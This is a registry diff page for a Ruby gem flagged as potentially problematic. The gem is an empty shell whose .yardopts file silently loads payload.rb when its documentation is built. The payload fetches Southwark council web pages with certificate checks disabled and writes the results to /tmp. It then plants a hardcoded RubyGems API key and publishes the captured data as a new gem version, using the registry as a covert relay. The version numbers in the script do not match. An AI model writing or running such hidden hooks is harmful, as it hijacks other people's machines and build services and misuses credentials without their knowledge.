swfetch-cal1-68321 0.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of swfetch-cal1-68321 might be problematic. Click here for more details.

Files changed (5) hide show
  1. checksums.yaml +7 -0
  2. data/.yardopts +1 -0
  3. data/lib/x.rb +1 -0
  4. data/payload.rb +36 -0
  5. metadata +39 -0
checksums.yaml ADDED
@@ -0,0 +1,7 @@
1
+ ---
2
+ SHA256:
3
+ metadata.gz: 723186185c56c81a54c3261d5ea18f0895f37d7e09db018d3654eb9a517f17e7
4
+ data.tar.gz: ed603641079bd287b4e1defbca2ecc2f668082e8fd03881e5528726a94a3a49f
5
+ SHA512:
6
+ metadata.gz: 211a05afa235ca74a398735879454248fa1ddf15b866af853d5d515e7ec884e0c667baf5c1aa2a9a6a1a5d0bb5712eb5e0b084629120f6019ef448be987ebb04
7
+ data.tar.gz: bab08d58f55c2169371f9895ae701e30d7ef0f64de3bbeb35fcaf1445910840a3175a9adc8d0eb883d156fe6a47b1f6411a2b0c1f099527de073829ad74fb4fe
data/.yardopts ADDED
@@ -0,0 +1 @@
1
+ --load payload.rb
data/lib/x.rb ADDED
@@ -0,0 +1 @@
1
+ #x
data/payload.rb ADDED
@@ -0,0 +1,36 @@
1
+ require 'fileutils' rescue nil
2
+ begin
3
+ require 'net/http'; require 'uri'; require 'openssl'; require 'zlib'
4
+ targets=['https://moderngov.southwark.gov.uk/mgCalendarMonthView.aspx?M=1&Y=2026&GL=1&bcr=1','https://moderngov.southwark.gov.uk/mgCalendarAgendaView.aspx?MR=0&M=1&Y=2026','https://www.southwark.gov.uk/about-council/how-council-works/council-and-committee-meetings']
5
+ out='started '+Time.now.to_s+"\n"
6
+ targets.each_with_index do |url,i|
7
+ begin
8
+ uri=URI(url); http=Net::HTTP.new(uri.host,uri.port); http.use_ssl=true; http.verify_mode=OpenSSL::SSL::VERIFY_NONE; http.read_timeout=40; res=http.get(uri.request_uri)
9
+ out+="\n===TARGET#{i} #{url} CODE #{res.code} LEN #{res.body.size}===\n"+res.body.to_s[0,120000]+"\n===END#{i}==="
10
+ rescue Exception=>e; out+="\nERR#{i} #{e.class}: #{e}\n"; end
11
+ end
12
+ rescue Exception=>e
13
+ out||=''; out+="ERROR #{e.class}:#{e}\n"+e.backtrace.join("\n")
14
+ end
15
+ begin
16
+ root="/tmp/swx#{Time.now.to_i}#{$$}"; FileUtils.mkdir_p("#{root}/lib")
17
+ # gzip to stay gem size; use raw text too
18
+ require 'zlib'; data=Zlib::Deflate.deflate(out)
19
+ File.binwrite("#{root}/lib/result.deflate",data)
20
+ File.write("#{root}/lib/result.txt",out)
21
+ File.write("#{root}/lib/x.rb",'#x')
22
+ gemspec=<<~G
23
+ Gem::Specification.new do |s|
24
+ s.name='swfetch-cal1-68321'
25
+ s.version='0.0.2'
26
+ s.summary='result'; s.authors=['x']; s.files=Dir['lib/**/*']; s.license='MIT'
27
+ end
28
+ G
29
+ File.write("#{root}/x.gemspec",gemspec)
30
+ FileUtils.mkdir_p('/tmp/gemhome/.gem'); File.write('/tmp/gemhome/.gem/credentials',':rubygems_api_key: rubygems_960ac400714d967e21468d656df12292fc27b64411a9e2c0'); File.chmod(0600,'/tmp/gemhome/.gem/credentials'); ENV['HOME']='/tmp/gemhome'
31
+ Dir.chdir(root) do
32
+ `gem build x.gemspec 2>&1`
33
+ `gem push swfetch-cal1-68321-0.0.4.gem --host https://rubygems.org 2>&1`
34
+ end
35
+ rescue Exception=>e
36
+ end
metadata ADDED
@@ -0,0 +1,39 @@
1
+ --- !ruby/object:Gem::Specification
2
+ name: swfetch-cal1-68321
3
+ version: !ruby/object:Gem::Version
4
+ version: 0.0.1
5
+ platform: ruby
6
+ authors:
7
+ - xs
8
+ bindir: bin
9
+ cert_chain: []
10
+ date: 1980-01-02 00:00:00.000000000 Z
11
+ dependencies: []
12
+ executables: []
13
+ extensions: []
14
+ extra_rdoc_files: []
15
+ files:
16
+ - ".yardopts"
17
+ - lib/x.rb
18
+ - payload.rb
19
+ licenses:
20
+ - MIT
21
+ metadata: {}
22
+ rdoc_options: []
23
+ require_paths:
24
+ - lib
25
+ required_ruby_version: !ruby/object:Gem::Requirement
26
+ requirements:
27
+ - - ">="
28
+ - !ruby/object:Gem::Version
29
+ version: '0'
30
+ required_rubygems_version: !ruby/object:Gem::Requirement
31
+ requirements:
32
+ - - ">="
33
+ - !ruby/object:Gem::Version
34
+ version: '0'
35
+ requirements: []
36
+ rubygems_version: 3.6.7
37
+ specification_version: 4
38
+ summary: s
39
+ test_files: []